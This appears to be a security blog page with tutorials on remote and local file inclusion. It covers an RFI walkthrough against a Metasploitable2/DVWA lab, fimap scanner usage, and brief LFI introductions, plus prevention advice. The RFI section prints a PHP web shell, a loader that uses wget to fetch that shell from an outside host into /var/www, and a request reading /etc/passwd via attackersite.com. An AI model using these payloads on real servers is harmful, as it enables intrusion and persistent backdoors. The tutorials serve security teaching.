Sec-Art: LFI

Remote File Inclusion Attacks on Web-Application | RFI Attacks

RFI stands for Remote File Inclusion, this vulnerability allows an attacker to dynamically include files/scripts from remote/external sources into the web server. This vulnerability occurs due to poorly implemented security checks and sanitization. The successful exploitation of RFI vulnerability leads to remote code execution, Cross Site Scripting, Information disclosure etc. For example :

<?php
  $file = $_GET['file'];
  include($file);
?>

The above page takes file name as input and include that file.

 website.com/test.php?file=page1

But the above php code is vulnerable to RFI attack, and an attacker could easily include remote files and run it on the web server.

 website.com/test.php?file=http://attackersite.com/backdoor.php&cmd=cat%20/etc/passwd

Now lets see an example of the attack. Also note that in php version 5 and above the 'allow_url_include' option is disabled by default, and in order to experiment with RFI you have to enable it.

In this example i am going to use Metasploitable2 VM. The download links are given below :

Download Link : https://download.vulnhub.com/metasploitable/metasploitable-linux-2.0.0.zip

And you also need to enable "allow_url_include" option in Metasploitable2, to do that just open the file '/etc/php5/cgi/php.ini' with nano or vi editor and in Line number 576

 allow_url_include = Off

at above line change Off with On

 allow_url_include = On

Our vulnerable page will take page name and include that page.

Now we try to include an external file from remote source.

File : shell.php

<?php
  $cmd = $_GET['cmd'];
  system($cmd);
?>

URL of php file is : http://192.168.56.1:8000/shell.php

And in the web application, the url will be :

 /dvwa/vulnerabilities/fi/?page=http://192.168.56.1:8000/shell.php&cmd=ls

And as we can see the 'ls' command is successfully executed on the web server. We can also drop our backdoor file on the web server with below code

File : load.php

<?php
  shell_exec('wget http://192.168.56.1:8000/shell.php -O /var/www/shell.php')
?>

The above code will download shell.php and store it on /var/www/ directory.

 http://192.168.56.101/dvwa/vulnerabilities/fi/?page=http://192.168.56.1:8000/load.php

and after the above request, we can access our backdoor 'shell.php', with

 http://192.168.56.101/shell.php?cmd=<command_to_run>

Preventing Remote File Inclusion (RFI) vulnerability

The best way to eliminate Remote File Inclusion (RFI) vulnerabilities is to avoid dynamically including files based on user input. If this is not possible, the application should maintain a whitelist of files that can be included in order to limit the attacker’s control over what gets included. We can also minimize the risk of RFI attacks through proper input validation and sanitization. it’s always preferable to sanitize user-supplied/controlled inputs to the best of your ability. These inputs include:

GET/POST parameters
URL parameters
Cookie values
HTTP header values

It is also recommended to implement validation mechanisms on the server side, because client side validation can be easily bypassed by using a proxy tool like burp suite, ZAP proxy etc.

Additionally, in the case of PHP, most modern PHP configurations are configured with allow_url_include set to off, which would not allow an attacker to include remote files, but it still be vulnerable to Local File Inclusion attack.

Links to other posts :

fimap : tool for exploiting Remote/Local File Inclusion vulnerability | LFI Attacks

fimap is an LFI/RFI detection and exploitation tool written in python which can find, prepare, audit, exploit and even google automatically for local and remote file inclusion bugs in webapps. fimap is something like sqlmap just for LFI/RFI bugs instead of SQL injection. The download link is given below :

https://github.com/crunchsec/fimap/archive/master.zip

Now lets see some example of uses fimap.

For help menu :

 ./fimap.py -h

Now lets first try it with Web4Pentest VM's File Inclusion Pages.

Simple Scan :

 ./fimap.py -u http://192.168.56.103/fileincl/example1.php?page=

Output :

as we can see the 'page' parameter is vulnerable. Scanning the second example :

 ./fimap.py -u http://192.168.56.103/fileincl/example2.php?page=

Output :

Scanning with harvest mode : -H

This mode harvest all urls from a given root url of a server and save it to a file.

 ./fimap.py -H -u root_url -w output_file_name

Example :

 ./fimap.py -H -u http://192.168.56.103/ -w op.txt

The output will be saved on op.txt

Now we can use that output file as input for scanning each url with fimap, with using mass scan option (-m)

 ./fimap.py -m -l op.txt

Interactive mode :

'-x' flag is used to start interactive mode in fimap. It lists all vulnerable targets based on previous scan results and gives the option to perform exploitation attempts against them. Example of interactive mode :

 ./fimap.py -x

Links to other Posts :

References :
https://github.com/crunchsec/fimap/
https://www.exploit-db.com/papers/12872
http://kaoticcreations.blogspot.com/2011/08/automated-lfirfi-scanning-exploiting.html

Exploiting Local File Inclusion (LFI ) vulnerability with /proc/self/environ method | LFI Attacks

In this post we are going to see, how an attacker can exploit LFI vulnerability to to achieve code execution by the use of /proc/self/environ method.

What is /proc/self/environ LFI Method ?

In Linux based system the environment-variables of the current process (self) can be accessed via /proc/self/environ. One of the environment-variables set (if apache2 is running) is the user-agent which can be controlled through a HTTP request. If the /proc/self/environ file can be accessed through LFI, then in this case “RCE” can be achieved by requesting the file in combination with the payload written into the HTTP User-Agent field.

Local File Inclusion Attacks on Web Applications | Introduction to LFI Attack

The LFI stands for Local File Inclusion, it allows an attacker to include files that exist (available locally) on the target web server. This vulnerability exists when a web application includes a file without correctly sanitising the user input.

The LFI vulnerability is exploited by abusing dynamic file inclusion mechanisms by inject path traversal characters to include files from the web server. Also note that with LFI vulnerability we can only includes the files which are available locally on that web server.